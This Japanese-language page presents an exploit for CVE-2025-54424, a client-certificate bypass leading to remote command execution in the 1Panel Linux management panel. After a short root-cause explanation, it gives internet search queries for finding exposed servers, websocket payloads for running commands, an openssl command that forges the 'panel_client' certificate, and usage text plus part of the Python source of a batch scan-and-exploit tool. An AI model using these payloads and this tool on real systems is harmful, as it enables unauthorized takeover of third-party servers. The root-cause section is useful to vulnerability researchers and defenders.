
CVE-2025-54424:1Panel クライアント証明書バイパスRCE脆弱性 統合ツール (スキャン+悪用)
CVE-2025-54424:1Panel クライアント証明書バイパスRCE脆弱性 統合ツール(スキャン+エクスプロイト)
1Panel は、オープンソースでモダンな Linux 運用管理パネルであり、Web サイトのデプロイ、サーバー管理、サービスの実行をグラフィカルインターフェースで提供します。
影響を受けるバージョンでは、Agent 側の TLS 認証ポリシーが tls.RequireAnyClientCert に設定されており、証明書の提示のみを要求し、その信頼性は検証しません。攻撃者は自己署名証明書を使用して TLS チェックをバイパスし、CNフィールドを panel_client に偽装することでアプリケーション層のチェックを回避できます。最終的に、攻撃者は偽造証明書を使用して未承認のコマンド実行インターフェースを呼び出し、リモートコマンド実行脆弱性を引き起こします。
<= v2.0.5
hunter と fofa の検索構文は以下の通りです
cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
GitHub 脆弱性開示の一部をコピー

agent/init/router/router.go に移動します
Routers 関数が Certificate 関数を呼び出し、グローバル検証を行っていることがわかります agent/middleware/certificate.go

Certificate 関数が c.Request.TLS.HandshakeComplete をチェックして証明書通信が行われたか確認していることがわかります

c.Request.TLS.HandshakeComplete の真偽は、agent/server/server.go コードの Start 関数内の tls.RequireAnyClientCert によって決定されます
注:ここでは tls.RequireAnyClientCert が使用されており、tls.RequireAndVerifyClientCert ではありません。RequireAnyClientCert はクライアントに証明書の提示のみを要求し、証明書の発行元 CA を検証しないため、任意の自己署名証明書が TLS ハンドシェイクを通過できます。
次に Certificate 関数内の他のチェックに入りますが、証明書の CN フィールドが panel_client であることのみをチェックし、証明書の発行者を検証していません。最後に、WebSocket 接続が Proxy-ID 検証をバイパスできることがわかりました。

プロジェクトには多数の websocket インターフェースが存在します。
/process/ws
リクエスト形式は以下の通り{
"type": "ps", // データ型: ps(プロセス), ssh(SSHセッション), net(ネットワーク接続), wget(ダウンロード進捗)
"pid": 123, // オプション、特定のプロセスIDでフィルタリング
"name": "process_name", // オプション、プロセス名でフィルタリング
"username": "user" // オプション、ユーザー名でフィルタリング
}

/hosts/terminal
リクエスト形式は以下の通り{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" の base64 エンコード。改行を忘れずに。
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
私が開発したツール CVE-2025-54424.py スクリプトを使用してバッチ検出とエクスプロイトを行います。ツールの使用方法は以下の通りです
必要な依存関係をインストール pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel クライアント証明書バイパスRCE脆弱性 統合ツール (スキャン+エクスプロイト)
作者: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help このヘルプメッセージを表示して終了
-u URL, --url URL 単一ターゲット、エクスプロイトモードに入る。例: 192.168.1.100:8080
-f FILE, --file FILE ターゲットファイル、バッチスキャンモードに入る。
-o OUTPUT, --output OUTPUT
[スキャンモード] 脆弱性結果を保存するファイル名。
-t THREADS, --threads THREADS
[スキャンモード] 同時スレッド数。
--proxy PROXY すべてのリクエストにプロキシを設定。例: http://127.0.0.1:8080
例えば、単一ターゲットの検出+コマンド実行(SSH対話型コマンド実行)は以下の画像の通り

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# requests ライブラリでSSL検証を無効化した際の警告を抑制
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- グローバル変数とスレッドロック ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- コア機能関数 ---
def generate_self_signed_cert():
"""CN='panel_client'の証明書と秘密鍵を動的に生成し、一時ファイルパスを返す。"""
with print_lock:
print("[*] 偽装クライアント証明書を動的に生成中...")
try:
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"panel_client")])
cert_builder = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
private_key.public_key()
).serial_number(x509.random_serial_number()).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=365)
)
cert = cert_builder.sign(private_key, hashes.SHA256())
key_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".key")
key_file.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
))
key_file.close()
cert_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".crt")
cert_file.write(cert.public_bytes(serialization.Encoding.PEM))
cert_file.close()
with print_lock:
print(f"[+] 証明書生成完了: {cert_file.name}, {key_file.name}")
return cert_file.name, key_file.name
except Exception as e:
with print_lock:
print(f"[ERROR] 証明書生成中にエラー: {e}")
return None, None